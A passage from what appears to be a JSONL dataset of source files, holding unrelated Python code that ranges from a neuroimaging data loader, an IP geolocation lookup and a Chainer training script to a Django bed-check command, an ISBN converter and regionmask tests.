[\"HCP_2mm\", \"HCP_2.5mm\", \"HCP_32g\"]:\n # By using \"HCP\" but lower resolution scale_input_to_unet_shape will automatically downsample the HCP sized seg_mask to the lower resolution\n seg = dataset_utils.scale_input_to_unet_shape(seg, \"HCP\", Config.RESOLUTION)\n else:\n seg = dataset_utils.scale_input_to_unet_shape(seg, Config.DATASET, Config.RESOLUTION) # (x, y, z, classes)\n\n return data, seg\n\n\nclass BatchGenerator2D_Nifti_random(SlimDataLoaderBase):\n '''\n Randomly selects subjects and slices and creates batch of 2D slices.\n\n Takes image IDs provided via self._data, randomly selects one ID,\n loads the nifti image and randomly samples 2D slices from it.\n\n Timing:\n About 2.5s per 54-batch 75 bundles 1.25mm. ?\n About 2s per 54-batch 45 bundles 1.25mm.\n '''\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n self.Config = None\n\n def generate_train_batch(self):\n subjects = self._data[0]\n subject_idx = int(random.uniform(0, len(subjects))) # len(subjects)-1 not needed because int always rounds to floor\n\n data, seg = load_training_data(self.Config, subjects[subject_idx])\n\n slice_idxs = np.random.choice(data.shape[0], self.batch_size, False, None)\n x, y = dataset_utils.sample_slices(data, seg, slice_idxs,\n training_slice_direction=self.Config.TRAINING_SLICE_DIRECTION,\n labels_type=self.Config.LABELS_TYPE)\n\n data_dict = {\"data\": x, # (batch_size, channels, x, y, [z])\n \"seg\": y} # (batch_size, channels, x, y, [z])\n return data_dict\n\n\nclass BatchGenerator2D_Npy_random(SlimDataLoaderBase):\n '''\n Takes image ID provided via self._data, loads the Npy (numpy array) image and randomly samples 2D slices from it.\n\n Needed for fusion training.\n\n Timing:\n About 4s per 54-batch 75 bundles 1.25mm.\n About 2s per 54-batch 45 bundles 1.25mm.\n '''\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n self.Config = None\n\n def generate_train_batch(self):\n\n subjects = self._data[0]\n subject_idx = int(random.uniform(0, len(subjects))) # len(subjects)-1 not needed because int always rounds to floor\n\n if self.Config.TYPE == \"combined\":\n if np.random.random() < 0.5:\n data = np.load(join(C.DATA_PATH, \"HCP_fusion_npy_270g_125mm\", subjects[subject_idx], \"270g_125mm_xyz.npy\"), mmap_mode=\"r\")\n else:\n data = np.load(join(C.DATA_PATH, \"HCP_fusion_npy_32g_25mm\", subjects[subject_idx], \"32g_25mm_xyz.npy\"), mmap_mode=\"r\")\n data = np.reshape(data, (data.shape[0], data.shape[1], data.shape[2], data.shape[3] * data.shape[4]))\n seg = np.load(join(C.DATA_PATH, self.Config.DATASET_FOLDER, subjects[subject_idx], self.Config.LABELS_FILENAME + \".npy\"), mmap_mode=\"r\")\n else:\n data = np.load(join(C.DATA_PATH, self.Config.DATASET_FOLDER, subjects[subject_idx], self.Config.FEATURES_FILENAME + \".npy\"), mmap_mode=\"r\")\n seg = np.load(join(C.DATA_PATH, self.Config.DATASET_FOLDER, subjects[subject_idx], self.Config.LABELS_FILENAME + \".npy\"), mmap_mode=\"r\")\n\n data = np.nan_to_num(data)\n seg = np.nan_to_num(seg)\n\n slice_idxs = np.random.choice(data.shape[0], self.batch_size, False, None)\n x, y = dataset_utils.sample_slices(data, seg, slice_idxs,\n training_slice_direction=self.Config.TRAINING_SLICE_DIRECTION,\n labels_type=self.Config.LABELS_TYPE)\n\n data_dict = {\"data\": x, # (batch_size, channels, x, y, [z])\n \"seg\": y} # (batch_size, channels, x, y, [z])\n return data_dict\n\n\nclass DataLoaderTraining:\n\n def __init__(self, Config):\n self.Config = Config\n\n def _augment_data(self, batch_generator, type=None):\n\n if self.Config.DATA_AUGMENTATION:\n num_processes = 8 # 6 is a bit faster than 16\n else:\n num_processes = 6\n\n tfs = [] #transforms\n\n if self.Config.NORMALIZE_DATA:\n tfs.append(ZeroMeanUnitVarianceTransform(per_channel=self.Config.NORMALIZE_PER_CHANNEL))\n\n if self.Config.DATASET == \"Schizo\" and self.Config.RESOLUTION == \"2mm\":\n tfs.append(PadToMultipleTransform(16))\n\n if self.Config.DATA_AUGMENTATION:\n if type == \"train\":\n # scale: inverted: 0.5 -> bigger; 2 -> smaller\n # patch_center_dist_from_border: if 144/2=72 -> always exactly centered; otherwise a bit off center (brain can get off image and will be cut then)\n\n if self.Config.DAUG_SCALE:\n center_dist_from_border = int(self.Config.INPUT_DIM[0] / 2.) - 10 # (144,144) -> 62\n tfs.append(SpatialTransform(self.Config.INPUT_DIM,\n patch_center_dist_from_border=center_dist_from_border,\n do_elastic_deform=self.Config.DAUG_ELASTIC_DEFORM, alpha=(90., 120.), sigma=(9., 11.),\n do_rotation=self.Config.DAUG_ROTATE, angle_x=(-0.8, 0.8), angle_y=(-0.8, 0.8),\n angle_z=(-0.8, 0.8),\n do_scale=True, scale=(0.9, 1.5), border_mode_data='constant',\n border_cval_data=0,\n order_data=3,\n border_mode_seg='constant', border_cval_seg=0, order_seg=0, random_crop=True))\n\n if self.Config.DAUG_RESAMPLE:\n tfs.append(ResampleTransform(zoom_range=(0.5, 1)))\n\n if self.Config.DAUG_NOISE:\n tfs.append(GaussianNoiseTransform(noise_variance=(0, 0.05)))\n\n if self.Config.DAUG_MIRROR:\n tfs.append(MirrorTransform())\n\n if self.Config.DAUG_FLIP_PEAKS:\n tfs.append(FlipVectorAxisTransform())\n\n #num_cached_per_queue 1 or 2 does not really make a difference\n batch_gen = MultiThreadedAugmenter(batch_generator, Compose(tfs), num_processes=num_processes,\n num_cached_per_queue=1, seeds=None)\n return batch_gen # data: (batch_size, channels, x, y), seg: (batch_size, channels, x, y)\n\n\n def get_batch_generator(self, batch_size=128, type=None, subjects=None):\n data = subjects\n seg = []\n\n if self.Config.TYPE == \"combined\":\n batch_gen = BatchGenerator2D_Npy_random((data, seg), batch_size=batch_size)\n else:\n batch_gen = BatchGenerator2D_Nifti_random((data, seg), batch_size=batch_size)\n # batch_gen = SlicesBatchGeneratorRandomNiftiImg_5slices((data, seg), batch_size=batch_size)\n\n batch_gen.Config = self.Config\n\n batch_gen = self._augment_data(batch_gen, type=type)\n\n return batch_gen\n\n\n\n############################################################################################################\n# Backup\n############################################################################################################\n\nclass BatchGenerator2D_Nifti_random_5slices(SlimDataLoaderBase):\n '''\n Randomly selects subjects and slices and creates batch of 2D slices (+2 slices above and below).\n\n Takes image ID provided via self._data, loads the nifti image and randomly samples 2D slices\n from it. Always adds 2 slices above and below.\n\n Timing:\n About 2.5s per 54-batch 75 bundles 1.25mm. ?\n About 2s per 54-batch 45 bundles 1.25mm.\n '''\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n self.Config = None\n\n def generate_train_batch(self):\n subjects = self._data[0]\n subject_idx = int(random.uniform(0, len(subjects))) # len(subjects)-1 not needed because int always rounds to floor\n\n data, seg = load_training_data(self.Config, subjects[subject_idx])\n\n slice_idxs = np.random.choice(data.shape[0], self.batch_size, False, None)\n\n # Randomly sample slice orientation\n slice_direction = int(round(random.uniform(0,2)))\n\n if slice_direction == 0:\n y = seg[slice_idxs, :, :].astype(self.Config.LABELS_TYPE)\n y = np.array(y).transpose(0, 3, 1, 2) # nr_classes channel has to be before with and height for DataAugmentation (bs, nr_of_classes, x, y)\n elif slice_direction == 1:\n y = seg[:, slice_idxs, :].astype(self.Config.LABELS_TYPE)\n y = np.array(y).transpose(1, 3, 0, 2)\n elif slice_direction == 2:\n y = seg[:, :, slice_idxs].astype(self.Config.LABELS_TYPE)\n y = np.array(y).transpose(2, 3, 0, 1)\n\n\n sw = 5 #slice_window (only odd numbers allowed)\n pad = int((sw-1) / 2)\n\n data_pad = np.zeros((data.shape[0]+sw-1, data.shape[1]+sw-1, data.shape[2]+sw-1, data.shape[3])).astype(data.dtype)\n data_pad[pad:-pad, pad:-pad, pad:-pad, :] = data #padded with two slices of zeros on all sides\n batch=[]\n for s_idx in slice_idxs:\n if slice_direction == 0:\n #(s_idx+2)-2:(s_idx+2)+3 = s_idx:s_idx+5\n x = data_pad[s_idx:s_idx+sw:, pad:-pad, pad:-pad, :].astype(np.float32) # (5, y, z, channels)\n x = np.array(x).transpose(0, 3, 1, 2) # channels dim has to be before width and height for Unet (but after batches)\n x = np.reshape(x, (x.shape[0] * x.shape[1], x.shape[2], x.shape[3])) # (5*channels, y, z)\n batch.append(x)\n elif slice_direction == 1:\n x = data_pad[pad:-pad, s_idx:s_idx+sw, pad:-pad, :].astype(np.float32) # (5, y, z, channels)\n x = np.array(x).transpose(1, 3, 0, 2) # channels dim has to be before width and height for Unet (but after batches)\n x = np.reshape(x, (x.shape[0] * x.shape[1], x.shape[2], x.shape[3])) # (5*channels, y, z)\n batch.append(x)\n elif slice_direction == 2:\n x = data_pad[pad:-pad, pad:-pad, s_idx:s_idx+sw, :].astype(np.float32) # (5, y, z, channels)\n x = np.array(x).transpose(2, 3, 0, 1) # channels dim has to be before width and height for Unet (but after batches)\n x = np.reshape(x, (x.shape[0] * x.shape[1], x.shape[2], x.shape[3])) # (5*channels, y, z)\n batch.append(x)\n data_dict = {\"data\": np.array(batch), # (batch_size, channels, x, y, [z])\n \"seg\": y} # (batch_size, channels, x, y, [z])\n\n return data_dict\n\n\n","sub_path":"tractseg/data/data_loader_training.py","file_name":"data_loader_training.py","file_ext":"py","file_size_in_byte":16548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"76548709","text":"import requests, json, sys, os\r\n\r\ndef Track(target : str):\r\n try:\r\n resp = json.loads(requests.get(\"http://ip-api.com/json/\" + target).text)\r\n\r\n info = \"Tracking Results\".center(35, \"-\")\r\n info = info + \"\\nIP Address: {}\\n\".format(resp[\"query\"])\r\n info = info + \"Country: {}/{}\\n\".format(resp[\"country\"], resp[\"countryCode\"])\r\n info = info + \"Region: {}/{}\\n\".format(resp[\"regionName\"], resp[\"region\"])\r\n info = info + \"City: {}\\n\".format(resp[\"city\"])\r\n info = info + \"ZipCode: {}\\n\".format(resp[\"zip\"])\r\n info = info + \"Time Zone: {}\\n\".format(resp[\"timezone\"])\r\n info = info + \"Organization: {}\\n\".format(resp[\"org\"])\r\n info = info + \"ISP: {}\\n\".format(resp[\"isp\"])\r\n info = info + \"Latitude: {}\\n\".format(resp[\"lat\"])\r\n info = info + \"Longitude: {}\\n\".format(resp[\"lon\"])\r\n info = info + \"{}\\n\".format(resp[\"as\"])\r\n \r\n globe = \"\"\" ,,,,,, \r\n o#'9MMHb':'-,o, \r\n .oH\":HH$' \"' ' -*R&o, \r\n dMMM*\"\"'`' .oM\"HM?. \r\n ,MMM' \"HLbd< ?&H\\ \r\n .:MH .\"\\ ` MM MM&b \r\n. \"*H - &MMMMMMMMMH:\r\n. dboo MMMMMMMMMMMM.\r\n. dMMMMMMb *MMMMMMMMMP.\r\n. MMMMMMMP *MMMMMP .\r\n `#MMMMM MM6P , \r\n ' `MMMP\" HM*`, \r\n ' :MM .- , \r\n '. `#?.. . ..' \r\n -. . .- \r\n ''-.oo,oo.-'' \r\n\"\"\".split(\"\\n\")\r\n\r\n for line in globe:\r\n print(\" \" * 5 + line, end=\"\")\r\n try:\r\n if globe.index(line) > 1:\r\n print(\" \" * 5 + info.split(\"\\n\")[globe.index(line) - 2][:os.get_terminal_size().columns - 44], end=\"\")\r\n if len(info.split(\"\\n\")[globe.index(line) - 2]) >= os.get_terminal_size().columns - 44:\r\n print(\"...\", end=\"\")\r\n print(\"\")\r\n else:\r\n print(\"\")\r\n except Exception as e:\r\n print(\"\")\r\n except Exception as e:\r\n raise ValueError(\"Unable to locate {}. The specified host is probably unavaiable, inaccessible or doesn't exists.\".format(target))\r\n\r\nif __name__ == \"__main__\":\r\n print(\"\")\r\n if len(sys.argv) > 1:\r\n try:\r\n Track(sys.argv[1])\r\n except Exception as e:\r\n print(\"Error: {}\".format(str(e)))\r\n else:\r\n try:\r\n Track(\"\")\r\n except Exception as e:\r\n print(\"Error: {}\".format(str(e)))\r\n","sub_path":"Track.py","file_name":"Track.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"240047547","text":"import pandas as pd\nimport numpy as np\nimport nltk\nimport os\nfrom collections import Counter\nfrom six.moves import cPickle as pickle\n\nclass Preprocessor(object):\n\n TEST_PREFIX = 'test_'\n VOCABULARY_PREFIX = 'vocabulary_'\n TRAIN_PREFIX = 'train_'\n VALID_PREFIX = 'valid_'\n TEST_PREFIX = 'test_'\n \n UNK_ID = 1\n MAX_DATA_LENGTH = 200\n\n _PAD = ''\n _UNK = ''\n _EOS = ''\n\n def __init__(self, path, filename, vocabulary_size, train_size=0.6, \n valid_size=.2, max_data_length=MAX_DATA_LENGTH, pad = _PAD, \n unk = _UNK, eos = _EOS):\n self.path = path\n self.filename = filename\n self.vocabulary_size = vocabulary_size\n self.max_data_length = max_data_length\n self.train_size = train_size\n self.train_size = train_size\n self.valid_size = valid_size\n self.pad = pad\n self.unk = unk\n self.eos = eos\n\n self.separator = ','\n self._dictionary = {}\n self.tokenizer = nltk.TweetTokenizer()\n\n def read_data(self):\n self.data = pd.read_csv(self.path + self.filename + \".csv\")\n return self.data\n\n def _build_dictionary(self, data, data_column):\n all_text = []\n\n for sentence in data[data_column]:\n all_text.extend(self.tokenizer.tokenize(sentence))\n\n all_words = [(self.pad, -1), (self.unk, -1), (self.eos, -1)]\n all_words.extend(Counter(all_text).most_common(self.vocabulary_size - 3))\n\n for word in all_words:\n if word[0] not in self._dictionary:\n self._dictionary[word[0]] = len(self._dictionary)\n self.vocabulary_size = len(self._dictionary)\n\n print(\"Saving vocabulary...\")\n word_column = 'Word'\n vocabulary = pd.DataFrame(data=all_words, columns=[word_column, 'Frequency'])\n vocabulary.to_csv(self.path + self.VOCABULARY_PREFIX + \"frequency_\" + self.filename, sep=self.separator, index=False,\n encoding='utf-8')\n vocabulary[word_column].to_csv(self.path + self.VOCABULARY_PREFIX + self.filename, sep=self.separator, index=False,\n encoding='utf-8')\n return self._dictionary \n\n def preprocess(self, data_column, label_column):\n\n self.data_column = data_column\n self.label_column = label_column\n\n new_data = self.data[[data_column, label_column]].copy()\n new_data = new_data.loc[new_data[data_column].str.len() < self.max_data_length]\n \n print(\"Creating the dictionary...\")\n self._build_dictionary(new_data, data_column)\n \n print(\"Tokenize...\")\n new_data[data_column] = new_data[data_column].map(lambda x: self.tokenizer.tokenize(x))\n \n print(\"Replace the words with indexes...\")\n new_data[data_column] = new_data[data_column].map(\n lambda x: list(map(\n lambda x: self._dictionary[x] if x in self._dictionary else self.UNK_ID, x)))\n\n print(\"Convert labels...\")\n new_data[label_column] = new_data[label_column].apply(lambda x: 1 if x > 3 else 0)\n \n # print(\"Shuffle the data\")\n # new_data = new_data.iloc[np.random.permutation(len(new_data))]\n\n self.max_seq_len = new_data[data_column].map(len).max()\n self.new_data = new_data\n\n def save_data(self):\n # print(\"Creating train, validation and test set...\")\n train, valid, test = self.__train_validate_test_split(self.new_data)\n \n x_train = self.__create_np_array(train[self.data_column].values)\n y_train = train[self.label_column].values.reshape(-1, 1)\n\n x_valid = self.__create_np_array(valid[self.data_column].values)\n y_valid = valid[self.label_column].values.reshape(-1, 1)\n\n x_test = self.__create_np_array(test[self.data_column].values)\n y_test = test[self.label_column].values.reshape(-1, 1)\n # y_test = pd.get_dummies(test[self.label_column]).values.reshape(-1, 2)\n\n self.__save_to_file(x_train, y_train, self.path, self.TRAIN_PREFIX + self.filename)\n self.__save_to_file(x_valid, y_valid, self.path, self.VALID_PREFIX + self.filename)\n self.__save_to_file(x_test, y_test, self.path, self.TEST_PREFIX + self.filename)\n \n\n def __save_to_file(self, x, y, path, filename):\n pickle_file = os.path.join(path, filename)\n try:\n f = open(pickle_file, 'wb')\n save = {\n 'source': x,\n 'labels': y,\n }\n pickle.dump(save, f, pickle.HIGHEST_PROTOCOL)\n f.close()\n except Exception as e:\n print('Unable to save data to', pickle_file, ':', e)\n raise\n\n def __create_np_array(self, data):\n # PAD the data\n data_matrix = np.zeros((data.shape[0], self.max_seq_len), dtype='int32')\n for i in range(data.shape[0]):\n data_matrix[i] = data[i][:self.max_seq_len] + [0] * (self.max_seq_len - len(data[i]))\n return data_matrix\n\n def __train_validate_test_split(self, data):\n size = len(data)\n train_end = int(self.train_size * size)\n valid_end = int(self.valid_size * size) + train_end\n train = data[:train_end]\n valid = data[train_end:valid_end]\n test = data[valid_end:]\n return train, valid, test\n","sub_path":"data/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"578748241","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 2 04:46:33 2016\n\n@author: oyu\n\"\"\"\nimport os\n# os.environ[\"CHAINER_TYPE_CHECK\"] = \"0\" #ここでオフに オンにしたかったら1にするかコメントアウト\nimport numpy as np\n# i = np.random()\n# np.random.seed()\nimport argparse\nimport chainer\nfrom chainer import cuda, serializers\nfrom tqdm import tqdm\nimport datetime\nimport importlib\nimport socket\nimport gc\nfrom mylib.my_functions import get_batch\nfrom mylib.my_logger import LOGGER\nfrom mylib.my_functions import copy_model\nfrom modelfile.model_at24 import SAF\n\nparser = argparse.ArgumentParser()\n\n# model selection\nparser.add_argument(\"-a\", \"--am\", type=str, default=\"model_pretrain24\",\n help=\"attention model\")\n# hyper parameters\nparser.add_argument(\"-e\", \"--epoch\", type=int, default=30,\n help=\"iterate training given epoch times\")\nparser.add_argument(\"-b\", \"--batch_size\", type=int, default=20,\n help=\"batch size\")\nparser.add_argument(\"-g\", \"--gpu\", type=int, default=-1,\n help=\"use gpu\")\n# load model id\n# log config\nparser.add_argument(\"-o\", \"--filename\", type=str, default=\"\",\n help=\"prefix of output file names\")\nparser.add_argument(\"-p\", \"--pre\", type=str, default=\"\",\n help=\"pre train\")\nargs = parser.parse_args()\n\nfile_id = args.filename\nn_epoch = args.epoch\ntrain_b = args.batch_size\ngpu_id = args.gpu\ncrop = 1\n\n# naruto ならGPUモード\nif socket.gethostname() == \"chainer\":\n gpu_id = 0\n log_dir = \"/home/y-murata/storage/traffic/pretrain/\"\n data_dir = \"/home/y-murata/traffic/data/\"\nelse:\n data_dir = \"C:/Users/waka-lab/Documents/data/data/\"\n log_dir = \"log/\"\n# load data\ndata_dir = data_dir + \"pretrain24_sp/\"\n# data_dir = data_dir + \"pretrain_24/\"\n\ndl = importlib.import_module(\"dataset.\" + \"pretrain24\")\ntrain_data = dl.MyDataset(data_dir, \"train\")\nval_data = dl.MyDataset(data_dir, \"test\")\n\nxp = cuda.cupy if gpu_id >= 0 else np\n\ndata_max = len(train_data)\ntest_max = len(val_data)\nnum_val = test_max\nnum_val_loop = 10 # val loop 10 times\n\nimg_size = 32\nn_target = 10\nnum_class = 5\ntarget_c = \"\"\n# test_b = test_max\n\n# モデルの作成\nmodel_file_name = args.am\n\nsss = importlib.import_module(\"modelfile.\" + model_file_name)\nmodel = sss.BASE()\n\nif len(args.pre) != 0:\n model_pretrain = SAF(n_out=5)\n serializers.load_npz('model/' + args.pre + '.model', model_pretrain)\n copy_model(model_pretrain, model)\n\n# オプティマイザの設定\noptimizer = chainer.optimizers.Adam()\noptimizer.setup(model)\n\n# gpuの設定\nif gpu_id >= 0:\n chainer.cuda.get_device_from_id(gpu_id).use()\n model.to_gpu()\n\n# log setting\nif file_id == \"\":\n file_id = datetime.datetime.now().strftime(\"%m%d%H%M%S\")\nlog_dir = log_dir + file_id + \"/\"\nos.mkdir(log_dir)\nlogger = LOGGER(log_dir, file_id, n_epoch=n_epoch)\n\nlogger.l_print(\"{} class recognition\\nclass:{} use traffic sign data set\".format(num_class, target_c))\nlogger.l_print(\"model:{}\".format(model_file_name))\nlogger.l_print(\"parameter\\n\")\nlogger.l_print(\"batch_size:{} crop:{}\".format(train_b, crop))\nlogger.l_print(\"log dir:{}\".format(log_dir))\nlogger.l_print(\"going to train {} epoch\".format(n_epoch))\nlogger.update_log()\n\nval_batch_size = int(num_val / num_val_loop)\ntrain_iterator = chainer.iterators.SerialIterator(train_data, train_b, shuffle=True)\ne_val_iterator = chainer.iterators.SerialIterator(val_data, val_batch_size, shuffle=True)\ne_train_iterator = chainer.iterators.SerialIterator(train_data, val_batch_size, shuffle=True)\n\nfor epoch in range(n_epoch):\n print(\"(epoch: {})\\n\".format(epoch + 1))\n for i in tqdm(range(0, data_max, train_b), ncols=60):\n model.cleargrads()\n with chainer.using_config('train', True):\n x, t = chainer.dataset.concat_examples(train_iterator.next(), device=gpu_id)\n loss = model(x, t)\n logger.set_loss(loss.data, epoch)\n loss.backward()\n optimizer.update()\n\n # evaluate\n train_acc = 0\n val_acc = 0\n for i in range(0, num_val_loop):\n with chainer.function.no_backprop_mode(), chainer.using_config('train', False):\n x, t = chainer.dataset.concat_examples(e_train_iterator.next(), device=gpu_id)\n train_acc += model(x, t)\n x, t = chainer.dataset.concat_examples(e_val_iterator.next(), device=gpu_id)\n val_acc += model(x, t)\n train_iterator.reset()\n e_train_iterator.reset()\n e_val_iterator.reset()\n # save accuracy\n logger.set_acc(train_acc / num_val, val_acc / num_val, epoch)\n logger.save_acc()\n logger.update_log()\n # save model\n if gpu_id >= 0:\n serializers.save_npz(log_dir + \"/\" + logger.best + file_id + '.model', model.to_cpu())\n model.to_gpu()\n else:\n serializers.save_npz(log_dir + \"/\" + logger.best + file_id + '.model', model)\n\n# logger.l_print(\"last acc:{} max_acc:{}\\n\".format(acc1_array[n_epoch - 1], max_acc))\n","sub_path":"pretrain.py","file_name":"pretrain.py","file_ext":"py","file_size_in_byte":4961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"100504620","text":"'''\nCreated on Jul 10, 2019\n\n@author: fsells\n'''\nimport datetime\nimport random\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom webapp import models\n\nfrom . import mydata_api \nfrom . import local_db_api\n\nclass Command(BaseCommand):\n help = 'copies data from MatrixCare to local DB'\n\n def add_arguments(self, parser):\n parser.add_argument('--start', action= 'store', help = 'first day of sweep mm/dd/yyyy, for testing',\n type=lambda s: datetime.datetime.strptime(s, '%m/%d/%Y'),\n default = datetime.date.today())\n parser.add_argument('--days', action= 'store', help = 'number of days for sweep, for testing', default=1, type=int)\n parser.add_argument('--fakeinput', action= 'store_true', help = 'create fake user entry for testing', default=False)\n \n def fake_user_input(self, hhdb, nos=0, blanks=0):\n hhdb.mark_current_inbed_yes()\n if blanks==0 and nos==0: return \n beds = models.BedCheck.objects.filter(Obsolete=0).order_by('unit', 'room', 'bed')\n for i, bed in enumerate(beds):\n print (i, bed)\n if i < nos:\n bed.inbed='No'\n bed.reason = random.choice(models.REASON_CHOICES)[0]\n bed.updatedby = 'fredtesting'\n bed.updatetime=datetime.datetime.now()\n bed.save()\n elif i < nos+blanks:\n bed.updatedby = 'fredtesting'\n bed.updatetime=datetime.datetime.now()\n bed.inbed = ''\n bed.save()\n else:\n break\n \n \n\n def handle(self, *args, **options):\n fake_input = options['fakeinput']\n print ('fakeit', fake_input)\n mydata = mydata_api.MyDataQueryManager()\n hhdb = local_db_api.HHDB()\n firstday = options['start'] \n ndays = options['days']\n almost_midnight = ' 11:45:00 PM'\n for n in range(ndays):\n sweeptime = firstday + datetime.timedelta(days=n)\n texttime = sweeptime.strftime('%m/%d/%Y') + almost_midnight\n beds = mydata.get_beds_x_patients( texttime)\n #for b in beds: print (b)\n hhdb.insert_bed_occupancy(beds)\n if fake_input:\n self.fake_user_input(hhdb, nos=3, blanks=2)\n print ('sweeptime={} nrecords={}'.format( texttime, len(beds)))\n\n print('sweep done')\n \n \n \n \n ","sub_path":"sweep.py","file_name":"sweep.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"545469800","text":"#Application to convert a Product ID to a standard ISBN-10 Number\n\n#Function to detect only numbers are entered by the users\n\ndef allowedNumber(ID):\n for char in productID:\n if not char in '1234567890.':\n return print(\"These arent numbers\")\n return True\n\n\n#Start of main program\n\nuserInput=input(\"Welcome! Got a Product ID to be converted into an ISBN-10 number? Press Enter\")\n\nwhile userInput!=\"Q\":\n print(\"To get your ISBN ---> Press 1\")\n print(\"To quit ---> Press Q\")\n userInput=(input(\"Enter your choice\"+\" \")).upper()\n \n while userInput==\"1\" and userInput !=\"N\":\n productID=input(\"Enter your Product ID number\"+\" \")\n\n #Remove prefix\n value=productID[3:]\n\n if(allowedNumber(productID)):\n True\n \n\n if len(value) !=9:\n print(\"Incorrect Product ID number\")\n userInput=\"N\"\n else:\n totalSum = 0\n for i in range(9):\n if 0 <= int(value[i]) <= 9: \n totalSum += int(value[i]) * (10 - i)\n else:\n False\n\n #next highest value multiple of 11\n x=(int((totalSum/11))+1)*11\n\n #error is the error control digit\n error=x-totalSum\n\n if error ==10:\n print('\\n'\"Your ISBN is\"+\" \"+value+\"x\")\n elif totalSum%11==0:\n print('\\n'\"Your ISBN is\"+\" \"+value+\"0\")\n else:\n print('\\n'\"Your ISBN is\"+\" \"+value+str(error))\n\n\n userInput=input(\"Enter N to return to main menu\"+\" \"+\"Enter 1 to convert more Product IDs\"+\" \").upper()\n\n","sub_path":"isbn.py","file_name":"isbn.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"479059399","text":"from collections import defaultdict\nclass Solution:\n def canFinish(self, numCourses , prerequisites ):\n indegree =defaultdict(set)\n outdegree = defaultdict(set) \n for x, y in prerequisites:\n outdegree[y].add(x)\n indegree[x].add(y)\n connection_removed =0 \n indegree_zero =[]\n for i in range (numCourses):\n if not indegree[i]:\n indegree_zero.append(i)\n connection_removed +=1\n while indegree_zero:\n node = indegree_zero.pop()\n for x in outdegree[node]:\n indegree[x].remove(node)\n if not indegree[x]:\n indegree_zero.append(x)\n connection_removed += 1\n return connection_removed == numCourses\ns = Solution()\nprint(s.canFinish(2, [[1,0]]))","sub_path":"May Leetcode Challenge/29_Course_Schedule.py","file_name":"29_Course_Schedule.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125765482","text":"import logging\nimport os\n\nfrom cliff.show import ShowOne\nfrom cliff.lister import Lister\nfrom cliff.command import Command\n\nfrom watcherclient import client\nkwargs = {'os_username': 'admin',\n 'os_password': 'password',\n 'os_auth_url': 'http://172.16.1.1:5000/',\n 'os_tenant_name': 'admin'}\nwatcher = client.get_client(1, **kwargs)\n\n\nclass TestCmd(Command):\n \"A simple command that prints a message.\"\n\n log = logging.getLogger(__name__)\n\n def get_parser(self, prog_name):\n parser = super(TestCmd, self).get_parser(prog_name)\n return parser\n\n def take_action(self, parsed_args):\n self.log.info('sending greeting')\n self.log.debug('debugging')\n self.app.stdout.write('hi!\\n')\n\n\nclass TestList(Lister):\n \"Show a list of test\"\n\n log = logging.getLogger(__name__)\n\n def get_parser(self, prog_name):\n parser = super(TestList, self).get_parser(prog_name)\n return parser\n\n def take_action(self, parsed_args):\n data = watcher.strategy.list()\n return (('UUID', 'Name'),\n ((item.uuid, item.display_name) for item in data))\n\n\nclass TestShow(ShowOne):\n \"Show detail information of test\"\n\n log = logging.getLogger(__name__)\n\n def get_parser(self, prog_name):\n parser = super(TestShow, self).get_parser(prog_name)\n return parser\n\n def take_action(self):\n columns = ('ID',\n 'Name',\n 'Value'\n )\n data = ('1234',\n 'Test1',\n 'testestes'\n )\n\n return (columns, data)\n","sub_path":"baseclient/v1/test_shell.py","file_name":"test_shell.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"262841","text":"import numpy as np\nimport pytest\nimport xarray as xr\nfrom affine import Affine\nfrom shapely.geometry import Polygon\n\nfrom regionmask import Regions\nfrom regionmask.core.mask import (\n _determine_method,\n _inject_mask_docstring,\n _mask_pygeos,\n _mask_rasterize,\n _mask_rasterize_no_offset,\n _mask_shapely,\n _transform_from_latlon,\n)\nfrom regionmask.core.utils import _wrapAngle, create_lon_lat_dataarray_from_bounds\n\nfrom . import has_pygeos, requires_pygeos\nfrom .utils import (\n dummy_lat,\n dummy_lon,\n dummy_outlines,\n dummy_outlines_poly,\n dummy_region,\n expected_mask_2D,\n expected_mask_3D,\n)\n\nMASK_FUNCS = [\n _mask_rasterize,\n _mask_shapely,\n pytest.param(_mask_pygeos, marks=requires_pygeos),\n]\n\n\nMASK_METHODS = [\n \"rasterize\",\n \"shapely\",\n pytest.param(\"pygeos\", marks=requires_pygeos),\n]\n\nMASK_METHODS_IRREGULAR = [\n \"shapely\",\n pytest.param(\"pygeos\", marks=requires_pygeos),\n]\n\n# =============================================================================\n\n\n@pytest.mark.parametrize(\"func\", MASK_FUNCS)\ndef test_mask_func(func):\n\n # standard\n result = func(dummy_lon, dummy_lat, dummy_outlines_poly, numbers=[0, 1, 2])\n expected = expected_mask_2D()\n assert np.allclose(result, expected, equal_nan=True)\n\n result = func(dummy_lon, dummy_lat, dummy_outlines_poly, numbers=[0, 1, 2], fill=5)\n expected = expected_mask_2D(fill=5)\n assert np.allclose(result, expected, equal_nan=True)\n\n result = func(dummy_lon, dummy_lat, dummy_outlines_poly, numbers=[5, 6, 7])\n expected = expected_mask_2D(a=5, b=6)\n assert np.allclose(result, expected, equal_nan=True)\n\n\n@pytest.mark.parametrize(\n \"func\",\n [\n pytest.param(_mask_rasterize, marks=pytest.mark.xfail),\n _mask_shapely,\n pytest.param(_mask_pygeos, marks=requires_pygeos),\n ],\n)\ndef 